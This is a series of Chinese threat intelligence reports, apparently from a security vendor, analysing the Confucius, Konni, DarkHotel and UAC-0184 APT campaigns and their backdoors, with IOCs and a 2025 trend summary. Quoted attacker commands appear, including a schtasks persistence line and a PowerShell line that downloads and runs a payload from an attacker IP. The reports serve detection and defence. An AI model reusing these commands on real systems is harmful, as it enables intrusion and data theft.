Confucius组织，又被称“魔罗桫”。是一个具有长期针对南亚地区的APT组织，自2013年活跃至今，主要目的是窃取敏感信息。

近期我们在日常威胁狩猎中观察到该组织持续发起新型攻击，采用多层白加黑利用技术，并结合Pyc功能模块内存加载恶意代码，用于隐蔽恶意行为。这种攻击手法在国内的攻击活动中比较少见。鉴于此，我们将重点揭露该组织如何利用Python加载恶意组件的完整攻击流程，以帮助用户及时识别威胁并采取防护措施。

一、攻击活动分析

1. 攻击流程分析

Confucius组织通过投递恶意ZIP文件，诱导用户执行其中的LNK文件，该LNK文件执行后通过MSBuild.exe文件加载同目录下的XML配置文件，从而请求服务器下载二阶载荷白利用组件，并创建计划任务，二阶载荷白利用组件会继续下发三阶载荷，并且也会创建新计划通过python.exe加载pyc文件，最终连接C2服务器实现数据窃取。

2. 载荷分析

2.1）原始载荷分析

本次捕获的原始载荷为一个压缩包文件。包内包含两个均伪装成PDF的文件：一个名为GSR_Requirements.pdf的LNK快捷方式与一个名为Specification.pdf的MSBuild项目文件，如下图所示。其中，MSBuild项目文件被恶意设置为隐藏属性。攻击者利用伪装成PDF的LNK文件诱骗用户点击，进而调用MSBuild加载隐藏的MSBuild项目文件，从而触发恶意代码执行流程。

恶意MSBuild项目文件利用MSBuild的“内联任务”（Inline Task）功能执行C#代码，主要行为是从远程服务器下载恶意载荷，并通过Windows计划任务（schtasks）实现持久化运行和伪装执行。

项目代码中定义了一个执行流程和两个自定义任务：Task A和Task B，自定义任务均使用CodeTaskFactory直接嵌入C#代码。

Task A（下载与执行/持久化模块）：

该代码通过设置安全协议为TLS 1.2确保与C2服务器的安全通信，使用WebClient将远程文件下载至本地指定路径，并借助schtasks.exe通过计划任务执行该文件。根据参数A4的值选择执行模式：若A4为0，则创建一个计划于当日23:59运行的任务并立即强制触发，用于即时启动诱饵文件；若A4非零，则创建一个在当前时间基础上延迟A4分钟后执行的一次性任务，实现延迟持久化。整个过程通过设置CreateNoWindow=true和UseShellExecute=false静默运行，避免用户察觉。具体代码如下图：

Task B（仅下载）:

功能: 负责从URL下载文件到本地，不执行，具体代码如下：

执行流程（Target "X"）

Target Name="X"是脚本的入口点，它按顺序执行了以下三个步骤，组成了完整的部署链，如下图所示：

第一步：部署主程序（调用Task A）

下载https[:]//nexnxky[.]info/TO96v.Wst到C:\Windows\Tasks\pythonw.exe。pythonw.exe是一个合法的Python解释器，但在此时被用作“白文件”。通过A4=1,设置名为WinUpdate的计划任务，延迟1分钟后执行,并伪装成Windows更新以降低管理员警惕。

第二步：部署恶意DLL（Task B）

下载https[:]//nexnxky[.]info/Ytu7Y.Rut到C:\Windows\Tasks\python310.dll。python310.dll是一个攻击者自己开发的恶意的DLL文件。通过DLL侧加载，当第一步中的pythonw.exe启动时，它会优先加载同目录下的python310.dll。攻击者将恶意代码写入这个DLL中，利用合法的Python进程执行恶意代码，从而绕过部分杀软对非白名单进程的查杀。

第三步：释放诱饵文档（Task A）

下载https[:]//nexnxky[.]info/P7DuR.Dtt到C:\Windows\Tasks\decmeMett.pdf，decmeMett.pdf是一个诱饵PDF文件，设置名为SysCheck的计划任务并立即运行。让用户误以为自己只是打开了一个普通文件，掩盖后台正在进行的恶意行为。

2.2）二阶恶意载荷分析

二阶恶意载荷（python310.dll）入口位于Py_Main导出函数，pythonw.exe会默认加载该导出函数，二阶载荷首先会从三阶样本下载服务器nexnxky.info拉取名为RTRP4.tmps的三阶载荷保存到本地。

下载的三阶载荷部分内容如下：

需要特别说明的是，下载的三阶载荷其数据遵循如下格式，累计有2471个文件的base64数据，导致数据文件特别大，并且也干扰了分析者辨别真正恶意的base64文件数据。

Filename

Base64(filedata)

===END===

Filename

Base64(filedata)

===END===

***

随后二阶载荷开始处理部署三阶载荷，通过两个嵌套循环遍历提取三阶载荷中的所有数据，以便提取文件名、base64解码文件等功能。下图是提取数据的逻辑。

将三阶载荷提取部署完成后，通过创建计划任务的方式启动三阶载荷从而达到持久化和启动三阶载荷的目的。

schtasks.exe /Create /F /SC MINUTE /MO 5 /TN "MicrosoftEdgeUpdat

e2Network" /TR "\"C:\Users\[用户名]\AppData\Local\PythonVersion3\p

ythonw.exe\" \"C:\Users\[用户名]\AppData\Local\PythonVersion3\pyth

on2_pycache_.dll\""

3. 恶意组件AnonDoor分析

经过二阶恶意dll处理后的三阶载荷共2471个文件，其中除python2_pycache_.dll文件外其余文件均为合法正常文件，且python2_pycache_.dll是伪造DLL文件，该文件其实为pyc文件，经分析该组件类型是基于Python的AnonDoor组件。

3.1）AnonDoor核心功能概述

由于python2_pycache_.dll基于Python 3.13版本编译，目前市面尚无成熟的反编译工具支持。为此，我们通过自研增强型反汇编工具尝试对代码进行还原。受限于该方式的技术局限性，反编译代码可能存在逻辑偏差，以下分析结果仅供参考。

AnonDoor首先会检测系统平台是否为nt,随后创建互斥体“Global\MyUniqueMutexName”从而保持单实例运行。

入口检测通过后，开始初始化C2和URL路径，分析版本的AnonDoor包括了两个C2地址nexnxky[.]info、upxvion[.]info，如下图所示。同时由配置设置使用443还是80端口，同时网络请求的User-Agent被硬编码为 Mozilla/5.0 (Windows NT 10.0; Win64; x64)，试图混淆为正常的Windows浏览器流量。

完成C2初始化后，AnonDoor会首先向C2获取后续的插件模块加载运行，当初始模块加载完成后通过心跳保持与C2的长连接及解析服务端下发的指令。

后续的各功能模块会通过模块下发的方式完成，同时根据代码结构来看，下发的模块（pyc）后缀为.dll,攻击者可根据目标归属灵活加载各类型功能模块。代码功能函数如下所示。

目前AnonDoor组件支持不限于以下功能：

函数名	对应指令代码	核心功能分析
hjjkhfdj_BBB1	jjkkj9874bn	用于维持基础控制权的模块。
hjjkhfdj_CM2M	yugrhj7juj	通用命令模块 (Command)。用于执行常规的系统 shell 命令或脚本。
hjjkhfdj_SC2M	ghd54gbgfhwe	截图
hjjkhfdj_FL2F	cgDFjhdfhfh444	文件列表
hjjkhfdj_DW2D	fhdge35fghdfjht	下载器 I。通用的单文件下载模块。
hjjkhfdj_DL2DD	fhg5ggrrrgb	下载器 II
hjjkhfdj_PSS	fgge5pvdcfghj	浏览器凭据窃取(Password Stealer)。针对Firefox和Edge浏览器进行定向窃密。
hjjkhfdj_FD2D	fhdtgjuet3dS	目录列表

3.2）后续功能模块分析

后续攻击者会根据目标特点下发多种模块，在此列举初期的两种加载模块。

模块一：用户信息收集模块

其主要目的是收集受害者的系统信息，生成唯一的“受害者 ID”（Bot ID），并将这些信息打包返回给主控端收集的信息及格式如下：

ibjfkhg = {UUID}$!!${Windows版本}$!!${主机名+用户}$!!${局域网IP}$!!${公网IP}$!!${国家}$!!${系统详细名}$!!$

模块二：存储器扫描模块

它利用ctypes直接操作Windows API获取底层磁盘信息，将受害者的存储布局发送回C2服务器。

二、归属研判

通过对捕获样本整体分析，我们发现本次攻击行动与Confucius组织之前使用的攻击手段相符合，具体包括以下几点。

1. 在初始攻击阶段，Confucius组织惯常利用LNK文件启动恶意程序。该恶意文件会访问3个URL下载链接，分别用于获取白组件、黑组件以及诱饵文档。相关URL具有较为明显的特征，均使用.info域名。此外，在文件名构词逻辑上也与该组织以往样本高度同源，通常表现为首字母大写+随机字符组合，且并非标准系统文件格式。URL格式对比如下：

之前捕获样本

此次捕获样本

http[:]//bloomwpp[.]info/WTBXX46.kut

http[:]//bloomwpp[.]info/KM9XFY.kut

http[:]//bloomwpp[.]info/JRC89.kut

https[:]//nexnxky[.]info/TO96v.Wst

https[:]//nexnxky[.]info/Ytu7Y.Rut

https[:]//nexnxky[.]info/P7DuR.Dtt

2. 本次攻击最终加载的组件是基于Python的AnonDoor RAT，这个类型与Confucius的分析报告[1]提到的木马一致，并且URL结构(都为*.info/lj782mGDl32ki44djfmjkFD3dfjlkh4/Fhjdjkle489_fjGDEkhkDG876F.php)，以及User-Agent、通信格式都高度一致。

3. 通过对Confucius组织本次攻击事件所涉及的基础设施（upxvion[.]info 和 nexnxky[.]info）进行网络测绘分析，我们发现这些基础设施的JARM指纹、服务器特征以及“.info”顶级域的使用均符合该组织此前已知的基础设施测绘特征。

4. 结合受害者为巴基斯坦，符合攻击者目标。

综上将其本次攻击归属于Confucius组织。

总结

Confucius组织持续针对南亚地区国家发起高频网络攻击，其攻击手法呈现明显的技术升级与模块化趋势。在本次攻击活动中，该组织仍以LNK文件作为初始攻击载体，但最终下发的载荷采用了基于Python的AnonDoor后门--这一新型载荷此前未在该组织的攻击活动中出现，未来极可能被广泛用于后续攻击。面对此类持续演变的定向威胁，各机构及个人用户亟需提升安全防护意识，尤其需警惕可疑邮件附件、非可信来源的压缩文件及诱导性链接，通过主动防御规避潜在风险。

附录 IOC

MD5

6b0afae982f23b84712147a228886245

a3bba6502f987efae30c3951313452e2

422bf81af2f0e461ede2020648217e16

e34ff54e8ae202c25e3c9db51f39a172

777ee7d08db5bf86a1187a540dc2ffba

4046cd7a59764a6db7132d79a4cf7a8c

00f67ef1cb0d81bdd3f71f4039d2d29f

URL

nexnxky[.]info

upxvion[.]info

参考

[1]https://www.fortinet.com/blog/threat-research/confucius-espionage-from-stealer-to-backdoor

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

跳转微信打开

APT-C-28（ScarCruft）利用MiradorShell发起网络攻击的安全预警

Fri, 06 Feb 2026 17:51:00 +0800

原创高级威胁研究院 2026-02-06 17:51 北京

APT-C-28（ScarCruft），又称Konni。近期在360高级威胁研究院在日常APT组织追踪分析过程中，发现Konni组织将攻击目标扩展至加密货币行业，通过伪装成PDF的LNK文件实施鱼叉式钓鱼攻击。

APT-C-28

ScarCruft

APT-C-28（ScarCruft），又称Konni，是一个长期活跃于朝鲜半岛的APT组织，其攻击活动最早可追溯至2014年，主要针对周边国家地区的政府机构实施网络间谍活动，以窃取敏感信息为核心目标。近年来，该组织频繁被国内外安全团队追踪并披露，活动呈现持续升级势头。

一、概述

近期在360高级威胁研究院在日常APT组织追踪分析过程中，发现Konni组织将攻击目标扩展至加密货币行业，通过伪装成PDF的LNK文件实施鱼叉式钓鱼攻击，诱饵文档精心设计了100万至300万美元的投资金额，精准针对Web3初创公司及DeFi开发者的融资需求，既保持足够吸引力又避免引起怀疑。当用户执行文件后，会触发多阶段Payload加载，最终部署MiradorShell v2.0获取系统控制权。鉴于MiradorShell这类载荷还未完整披露过，因此本文将对这一新型攻击的完整执行过程进行技术剖析，以帮助潜在受害者及时识别威胁并采取防护措施，避免重要数据泄露和资产损失。

二、攻击活动分析

1. 攻击流程分析

Konni组织使用恶意压缩包进行鱼叉钓鱼，一旦用户执行压缩包中伪装成PDF的LNK文件，便会进行层层下载并解密，最终执行MiradorShell载荷，并创建计划任务，达到持有驻留的目的。需要特别说明的是，攻击者在下发最终载荷之前，会检查用户上传的信息，若信息不符合，则不会下发后续组件。

2. 恶意载体分析

Konni组织在近期的定向攻击中主要使用的是恶意ZIP压缩包，以下是最近捕获到的攻击样本，其基本信息如下：

MD5	ca1237bd33f61f77990d76a3df130ef5
文件大小	119.44 KB (122307 bytes)
文件类型	ZIP

该压缩包打开后，有两个文件，一个是伪装内容，名为“Soft Commitment Letter.docx”，一个是伪装成PDF的恶意LNK文件，该文件名（“Investor Profile (Korea-based) - JiHoon Jeong”）与诱导文档名相呼应，让其用户以为这是承诺函相关附近，从而点击恶意LNK文件。

分析该LNK文件，发现文件命令部分存在混淆的CMD/Batch、C#多种语言代码，如下图所示：

将混淆的代码格式化后，发现该LNK运行后首先通过递归搜索系统目录(dir /b /s %windir%\system32\*wers*l.?x? > %temp%\PJoaEy.TiU)定位PowerShell.exe路径并保存到临时文件，随后调用该路径执行恶意PS1脚本。

接着，PS1脚本会动态编译C#解密函数，其解密算法如下：

最后，搜索原始LNK文件并从中解密出内存加载的第一阶段Payload，同时释放诱饵文档并清理痕迹，最终实现无文件攻击。释放的PDF诱饵文档与Soft Commitment Letter.docx有相似之处。

第一阶段Payload经过C#解密函数处理过后，发现功能主要包括了三个部分：沙箱/虚拟机检测、受害者信息收集和加载二阶载荷。解密后的载荷内容如下：

沙箱/虚拟机检测功能描述

一阶恶意载荷会通过执行SystemInfo并检查系统信息中是否包含 "Google Compute Engine"，如果是 GCE (云服务器/沙箱)则只进行受害者信息收集&上传，不进行后续二阶载荷下载执行。

受害者信息收集功能描述

一阶载荷会收集三个部分的信息：系统信息（SystemInfo）、收集进程列表（tasklist）、收集文件列表(桌面、文档、下载、最近访问、开始菜单、程序目录)。收集完成后构建POST请求发送至二阶服务器（https[:]//techcross-wne[.]com/include/plugin/snoopy/board/register.php?id={hostname}&sn={请求数}）。

加载二阶载荷功能描述

如果当前运行环境通过沙箱/虚拟机检测，发起一次二阶载荷请求&执行操作，请求地址为https[:]//techcross-wne[.]com/include/plugin/snoopy/board/register.php?id={hostname}&sn={请求数}。

测试发现二阶服务器下发的前几个操作指令如下图所示：

二阶载荷功能较为简单主要包括两个部分，第一个部分是从https[:]//techcross-wne[.]com/include/plugin/snoopy/board/libs/ati.dat下载程序为AutoIt3.exe解析程序（合法程序），然后https[:]//techcross-wne[.]com/include/plugin/snoopy/board/libs/mrd.dat下载au3脚本，解密为MiradorShell v2.0载荷，第二部分是创建一个名为WndowsUpdate_BCF24B33-5871-1795-C09F-F7902903138A每隔 5 分钟自动运行一次MiradorShell v2.0的计划任务。

值得注意的是我们发现一阶恶意载荷所请求的二阶服务器域名techcross-wne.com应该是韩国公司Techcross-WNE (TECHCROSS Water & Energy) 的官方合法域名。

下图是该网站的CA证书信息：

因此，该服务器可能已被攻陷，同时我们根据请求的二阶服务器的URL路径信息来看include/plugin/snoopy/board，推测该站点可能使用了Snoopy类库，被攻击者使用相应漏洞攻破。

3. 攻击组件分析

最终的载荷由AutoIt语言编写，为方便后续持续跟踪工作同时根据代码功能和代码中出现的编译和配置信息，我们将其命名为MiradorShell版本为2.0，后文简称为MiradorShell。

MiradorShell是一个使用AutoIt编写的后门脚本。以下是对MiradorShell功能的详细技术分析。

3.1）核心功能概述

MiradorShell是一种基于反向连接的后门脚本，连接到指定的命令控制服务器（65.21.182[.]178:443），具备多维度控制能力：首先支持反向Shell功能，允许攻击者远程执行cmd命令并实时获取回显；其次提供完整的文件管理功能，包括文件上传下载、目录遍历及文件删除操作；同时具备远程程序执行能力，可在受害者主机上直接运行指定程序；此外还集成指纹识别模块，通过硬件特征生成唯一受害者ID以实现精准控制。

3.2）功能模块分析

MiradorShell运行后，首选检查是否存在互斥体（Global\ED74CC72-AA6C-B091-B820-631489DA5F3B），如果存在则退出，以确保同一时间只有一个木马实例在运行。

接着，使用ws2_32.dll(Winsock)直接发起TCP连接，连接成功后，发送数据包（MSITRUAVDWAX+[受害者ID]+2.0），其MSITRUAVDWAX是上线包的标识头，受害者ID是通过计算机名CPU信息硬盘序列号等信息组合拼接而成。

然后，进入命令分发循环，等待服务器发送指令，通过" "分割解析命令和参数，MiradorShell v2.0支持的指令如下所示：

命令关键字	对应功能函数	描述
cmd	REMOTESHELLPROCESS	启动交互式CMD Shell
upload	UPLOADPROCESS	接收服务器发送的文件并保存到本地
download	DOWNLOADPROCESS	读取本地文件并发送给服务器
listdir	LISTDIR	遍历指定目录，返回文件/文件夹列表及大小
delete	DELETEPROCESS	删除指定的文件或文件夹
run	RUNPROCESS	使用ShellExecute运行指定文件

其中反向Shell实现机制是：通过_NAMEDPIPES_CREATEPIPE创建匿名管道重定向标准I/O流，调用CreateProcessA隐藏启动cmd.exe 进程并绑定管道，建立双向数据传输通道——持续读取子进程输出管道（READCHILDOUTPUT）经Socket上传至C2服务器，同时将接收的C2指令写入输入管道（WRITEREMOTESHELL）实现交互式控制，整个过程采用异步通信规避行为检测。其他指令（如文件传输、指令执行等）具体技术细节此处从略。

3.3）逃避与混淆技术

内联库文件

为避免依赖标准库并干扰分析，作者未使用AutoIt的常规#include指令，而是将所有必需的UDF（如WinAPI、Security、NamedPipes等）的源代码直接嵌入脚本中。这一策略显著增加了脚本体积（从几十行扩展至近12000行），迫使分析人员需要耗费更多时间梳理冗余代码以定位核心功能模块。

直接API调用

为实现更底层的操作并规避简单行为检测，脚本通过DllCall直接调用系统DLL（如kernel32.dll、user32.dll、ws2_32.dll）中的原生函数，而非依赖AutoIt封装的高级API。

原始套接字

脚本未采用AutoIt内置的TCPConnect等网络函数，而是通过手动调用Winsock API（如WSASocket、connect）实现套接字通信。这种设计可能旨在精确控制连接参数（如KeepAlive超时）或绕过针对脚本语言网络行为的特定监控机制，进一步隐蔽恶意流量特征。

三、归属研判

经分析，本次攻击活动中使用的恶意代码及C2基础设施与Konni组织历史攻击样本存在显著关联，具体体现在以下方面：

1. 本次攻击Konni组织仍采用LNK文件作为初始入口，诱骗用户点击后下载加密的后续载荷及诱饵文档，只是本次样本对LNK样本执行命令进行了加密处理，增加分析难度。此外，样本后续会通过AutoIt3.exe加载恶意AU3脚本，整体攻击流程与历史样本高度一致。

2. 样本运行后创建的互斥体（Global\ED74CC72-AA6C-B091-B820-631489DA5F3B）在命名风格和结构上，与此前Konni组织样本中的互斥体（如Global\RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP）高度相似。同时，计划任务的创建逻辑和代码实现也呈现一致性。

3. 本次攻击活动在C2通信环节呈现与Konni组织高度关联的技术特征：攻击样本采用固定格式的URL（https[:]//techcross-wne[.]com/include/plugin/snoopy/board/register.php?id={hostname}&sn={ 请求数}）获取命令，其参数结构（id={hostname}标识受害主机，sn={请求数}作为序列计数器）与该组织历史攻击中使用的URL设计范式相似；同时，攻击者延续了Konni组织惯用的失陷站点托管策略，通过入侵韩国技术类网站techcross-wne[.]com伪装恶意流量，将载荷隐藏在/include/plugin/snoopy/board/路径下模拟正常插件目录，这种结合动态参数模板与可信域名滥用的手法，既强化了攻击归因依据，也凸显该组织在规避检测方面的成熟度。

结合攻击目标（针对韩国地区）及上述技术特征，本次攻击活动可明确归属于APT-C-28（ScarCruft）组织，符合其长期攻击策略和工具链特点。

附录 IOC

MD5

4692034cd157c417c3868b5033d0e0d7

ca1237bd33f61f77990d76a3df130ef5

e4e7351cf3fc80e6f65c2226d1cafdb2

f9945ddbfcb05ee49ba21d49e8087a18

C&C

https[:]//techcross-wne[.]com/include/plugin/snoopy/board/register.php

https[:]//techcross-wne[.]com/include/plugin/snoopy/board/libs/mrd.dat

65.21.182[.]178:443

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

《2025年全球高级持续性威胁（APT）研究报告》

Fri, 30 Jan 2026 13:07:00 +0800

原创高级威胁研究院 2026-01-30 13:07 北京

如约而至

2025年全球⾼级可持续性威胁形势概览

2025年，世界政治经济格局进⼊深刻演变期，传统秩序加速调整，新兴⼒量加快崛起。全球范围内冲突与博弈显著增多，地缘冲突在多地区凸显，多极化进程在曲折中持续向前。与此同时，⽹络安全态势正经历深刻演进，已从“技术层⾯对抗”升级为关乎国家⽣存与发展的战略博弈。我国⽹络空间安全⾯临复杂严峻挑战：境外国家级APT攻击持续不断，⼈⼯智能驱动的新型攻击与供应链渗透⻛险集中显现，⿊⾊产业链助推勒索攻击与数据泄露趋于产业化，⽹络空间防御体系承受全⽅位压⼒。

2025年，全球⽹络安全⼚商和机构累计发布APT报告700多篇，报告涉及APT组织140个，其中属于⾸次披露的APT组织42个，⽐2024年同期均呈现⼀定程度增加。从全球范围看，APT组织攻击活动聚焦地区政治、经济等时事热点，攻击⽬标集中分布于政府机构、国防军⼯、信息技术、⾦融、教育等⼗⼏个重点⾏业领域。当前，国家层⾯的⽹络攻防对抗不再局限于传统安全范畴，已经逐渐成为国家战略体系中不可或缺的组成部分。

2025年全球典型APT组织活跃度情况

2025年，360再次捕获并披露了到4个全新APT组织，分别为北美地区的APT-C-78、东亚地区的APT-C-64（匿名者64）、APT-C-67（乌苏拉）和南亚地区的APT-C-76（银环蛇）。截⾄2025年底，360已累计率先发现并披露了60个境外APT组织。

依托360安全⼤模型，360⾼级威胁研究院在2025年，累计捕获到1300余起针对我国的APT攻击活动。相关APT组织主要来⾃北美、东亚、南亚、东南亚等地区。我国受攻击活动影响的单位主要分布于政府机构、教育、科研、国防军⼯、制造等15个重点⾏业领域。

2025年攻击活动影响我国的TOP 10 APT组织

2025年我国受APT攻击影响单位行业分布TOP 10

2025年，北美和我国台湾省地区的APT组织活跃度较往年明显增加，这与中美政博弈、台海局势发展密切相关。来⾃北美地区的APT攻击技战术⽔平⾼超，主要针对我国重点科研和关基单位，造成的影响和危害极⼤；来⾃我国台湾省地区的APT组织主要针对我国政府机构和教育科研等领域展开钓⻥攻击，从⽽进⾏渗透和窃密。

2025年APT攻击威胁发展趋势

一、0day漏洞的利用数量持续增长

针对我国境内网络设施的0day攻击持续攀升，仅被利用的通用型漏洞就涵盖从压缩工具、邮件系统到安全终端及办公软件等多个关键领域。据统计，全年全球APT攻击活动中影响较大的0day漏洞共计42个，覆盖iOS、Windows、Android、Chrome以及VMware等主流系统平台。

二、利用开源代码仓库作为供应链攻击跳板

APT-C-00（海莲花）的钓鱼攻击、APT-C-26（Lazarus）的虚假面试行动等多起APT攻击均利用开源代码仓库（如GitHub、NPM）展开供应链投毒攻击。此类攻击利用开源仓库的信任机制，通过投毒项目或劫持账户实施隐蔽的供应链感染，其级联效应可穿透开发至生产全链路，其根源在于开源生态的开放性与开发过程中安全审查的不足。

三、AI技术被应⽤在深度伪造和诱饵制作等场景

AI技术的应用显著提升了APT组织在社会工程学调研和攻击的效率，使其能够快速构造跨语言、跨文化、跨行业的精准诱饵。2025年中，APT-C-26（Lazarus）、APT-C-47（旺刺）等组织已广泛利用大模型进行深度伪造、生成虚假面试与会议邀请，推动钓鱼攻击从“广撒网”向“精准制导”升级，甚至实现交互式欺骗。这类AI驱动的攻击大幅降低了实施门槛，同时提升了隐蔽性与危害性。

四、⽹络攻击成为地缘政治⼯具

当前地缘政治格局下，网络空间对抗已深度融入国家间战略博弈与军事行动，成为实现政治与军事目标的关键手段。从2025年底委内瑞拉国家石油公司遭勒索软件攻击致业务中断，到2026年初美军行动中伴随的网络断电打击；从俄乌冲突中东欧APT组织对政府、媒体及基础设施的持续破坏与情报窃取，到伊以对抗中网络技术支撑的精准定位与清除行动，均清晰表明：网络攻击已超越技术范畴，其低成本、高隐蔽、强破坏的特性正深刻改变现代战争形态。

五、针对驻外机构的网络攻击威胁增多

近年来，我国驻外使领馆、企业及文化机构已成为国家级APT组织的优先攻击目标，攻击频次与战术复杂性显著上升。在重大外事活动期间，相关攻击尤为活跃，目标直指邮件系统、内部文档及外交决策信息，并已扩展至人员个人设备。攻击动机集中于窃取外交、军事及经贸核心情报，并意图施加外交压力。这一趋势与中美战略博弈加剧、地区冲突外溢以及我国全球治理参与度提升密切相关

六、国产化应用，信创基础设施威胁凸显

随着我国国产化替代进入关键期，攻击者通过利用国产软件漏洞、实施供应链渗透等手段，对关键领域展开持续精准渗透攻击。面对这一关乎数字主权的安全博弈，必须坚持技术创新与安全防护并重，筑牢信创体系的安全底座。

点击下方“阅读原文”查看完整版报告

阅读原文

跳转微信打开

APT-C-06（DarkHotel）利用U盘内安装程序传播恶意载荷的攻击活动报告

Wed, 14 Jan 2026 17:30:00 +0800

原创高级威胁研究院 2026-01-14 17:30 北京

继APT-C-06（DarkHotel）在2025年6月份使用恶意软件展开一波攻击活动[1]后，我们又在2025年下半年监测观察到另一波相似的攻击活动。

APT-C-06

DarkHotel

继APT-C-06（DarkHotel）在2025年6月份使用恶意软件展开一波攻击活动[1]后，我们又在2025年下半年监测观察到另一波相似的攻击活动。在这次攻击活动中，更多类型的恶意软件出现，这些软件通过U盘接入，没有像之前一样部署DarkSeal载荷，而是部署在2025年初攻击活动[2]中使用的载荷。

一、攻击流程

从技战术上看，这次攻击活动是2025年上半年前两次攻击的组合，伪装成正常软件的exe文件通过资源释放包含drivermon.ps1的loader。在此次攻击活动中，恶意安装包都是用可移动磁盘的方式接入用户机器的，可疑的是没有观察到drivermon.ps1的下一阶段载荷。

二、载荷分析

1. 恶意安装包

伪装的恶意软件主要是一些工具软件，如TrueCrypt Setup 7.1a.exe，Install SanDisk Software.exe，winrar-x64英文.exe，winrar_5.40.exe，AdobeReader8.10.exe，FlashFXP54_3970_Setup.exe，SpyDetectFree64.exe等。

这些恶意软件的资源通常都是下图的结构。“RC Data”类型的资源有两个，一个为BIN_00，修改前两个字节后即为原始的安装程序，另一个为BIN_06(或者BIN_03)解密后为shellcode形式的恶意载荷。软件的核心功能就是执行正常的安装程序，并加载Shellcode。

释放并执行原始的安装程序时，释放的路径为在原始路径基础上在文件名前加一个下划线，并将文件设置系统隐藏属性。

如果存在Global\TermSvrReadyMutex锁或者C:/ProgramData/Windows/IdentityCRL/Cert路径则不会加载Shellcode。通过在互联网搜索相关信息，Global\TermSvrReadyMutex锁可能对应远程桌面服务开启；C:/ProgramData/Windows/IdentityCRL/Cert可能对应设备注册到Azure AD。总体来说共攻击者可能不希望载荷在一些相对“专业”的电脑上运行。

2. 载荷分析

Shellcode的结构和Darkseal组件类似。Shellcode Loader用于反射加载第二部分的pe载荷。

PE载荷与年初攻击活动中使用的载荷k1nqa.dll基本一致。首先会检查杀软安装情况。不同杀软安装情况会对后续流程产生一些影响。

构建url：https[:]//backup.***.com/bd3/j3/b99731f78b_985751?pt=a2&at=pp&bn=7601.18847&ay=0，其中bn是系统版本，ay是数字列表代表的杀软安装情况。

构建的url用于填充到Powershell脚本中。这个脚本的内容与年初攻击中使用的一致。在不同的杀软存在时以不同的形态存在：存在360时，路径为%windir%\temp\drivermon.ps1；存在Avast时，路径%windir%\temp\ypp.db；都不存在时，明文代码直接出现在命令行中。

创建执行Powershell的计划任务，这里又有两种情况：存在360或卡巴斯基时，直接使用com接口创建计划任务；都不存在时，则利用com提权执行另外一段Powershell来创建计划任务。

3. 综合执行路径

在面对比较“危险”的环境时，恶意安装程序会利用Shellcode进行一次提权再执行真实功能，所以导致程序的执行路径有一点复杂，所以用下面的流程图来直观展示程序的执行路径。

总结

总的来说，本次攻击活动作为APT-C-06（DarkHotel）2025前两次攻击活动的延续并没有什么新的东西。从受影响用户上出现的种类多样的恶意安装程序，并且恶意程序的出现有聚集特征（一个U盘下的exe程序全是恶意程序）来看，这些恶意程序可能是由某一个程序感染了U盘中的exe程序，目前的载荷中没有发现感染功能。

参考

[1]APT-C-06（DarkHotel）利用恶意软件为诱饵的攻击活动

[2]APT-C-06（DarkHotel）利用BYOVD技术的最新攻击活动分析

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

UAC-0184 | "阵亡档案黑幕"钓鱼行动

Fri, 26 Dec 2025 17:30:00 +0800

原创高级威胁研究院 2025-12-26 17:30 北京

360高级威胁研究院近期监测数据显示，UAC-0184组织正在进行以乌军人档案遭篡改，拒付阵亡赔偿向最高拉达发起质询的网络钓鱼攻击活动。

UAC-0184（也被追踪为Hive0156）是一个与俄罗斯结盟的威胁行为者，主要使用商用恶意软件和诱饵文档在乌克兰策划恶意网络攻击活动。通过投放恶意LNK文件或PowerShell脚本攻击乌克兰军事人员，导致Remcos感染。该组织使用的诱饵文档主题与关注乌克兰军方作战态势的人员高度相关。

一、概述

360高级威胁研究院近期监测数据显示，UAC-0184组织针对乌克兰最高拉达发起网络钓鱼攻击活动，内容涉及乌克兰军人档案被篡改及拒付阵亡赔偿等敏感议题。该组织在2025年持续针对乌克兰军事和政府部门开展高密度情报窃取活动，本报告据此展开专项分析，建议相关机构及人员强化安全防护意识，加强涉密情报与用户数据的加密保护及访问控制，有效防范恶意攻击导致的信息泄露风险。

二、攻击链分析

本次攻击活动利用即时通讯软件Viber作为初始入侵渠道，通过社会工程学诱饵分发恶意压缩包。攻击链具有高度的复杂性，结合了DLL侧加载（DLL Side-Loading）、非标准控制流转移以及双重模块踩踏（Module Stomping）技术，旨在规避安全检测并最终植入HijackLoader以加载Remcos RAT。

2.1. 初始访问与投递

攻击者通过Viber向目标用户发送名为А2393.zip的恶意归档文件。解压后，该压缩包包含多个伪装成合法文档的LNK快捷方式文件文件名，诱导性强，意图通过社会工程学手段诱使用户点击。

诱饵文档如下：

Zapit_iz_verhovnoi_radi.docx【来自最高拉达（乌克兰议会）的质询】

Scan_zapitu_iz_verhovnoi_radi.rtf【最高拉达质询函扫描件，内容为关于审议已故乌克兰卫士亲属集体申诉事宜】

Dodatok_do_zapitu.xlsx【质询函附件，内容为2023年1月1日至2025年1月31日期间人员总损失名单】

2.2. 下载与执行

UAC-0184交替利用恶意LNK文件与PowerShell脚本作为第一阶段的初始入侵载体[1]。尽管这两种方式均旨在向受害者展示诱饵文档的同时，于后台隐蔽执行HijackLoader感染链，但其诱饵投递机制存在显著差异：

基于LNK的攻击：需发起两次独立的C2请求，分别用于获取诱饵文件和包含恶意加载器的ZIP压缩包。

基于PowerShell的攻击：仅发起一次网络请求，下载的ZIP压缩包中已内嵌了诱饵文档。

在本次捕获的LNK攻击样本中，LNK文件执行后首先发起请求下载并运行PowerShell脚本。

随后，该脚本从远程C2服务器拉取并解压第二阶段载荷 smoothieks.zip，启动合法宿主进程CFlux.exe加载恶意模块，并同步打开诱饵文档以降低受害者警觉。

echo rKtGxKJUaoCCtexNyfdt; if (-not[IO.File]::Exists(('smoothieks'+'.'+'zip'))){&(Get-Command i**************************o*********************************e-We*) -uri ht''tp''://5.101.8''5.24/smoothieks.zip -OutFile smoothieks.zip};if (-not[IO.File]::Exists(('MSWinDistro/'+'CFlux'+'.'+'exe')) -and -not [IO.File]::Exists(('MSWinDistro/'+'Dodatok_do_zapitu'+'.xlsx'))){Expand-Archive smoothieks.zip -DestinationPath MSWinDistro};start 'MSWinDistro/CFlux.exe';start 'MSWinDistro/Dodatok_do_zapitu.xlsx

smoothieks.zip压缩包内的文件：

2.3. DLL侧加载与流劫持

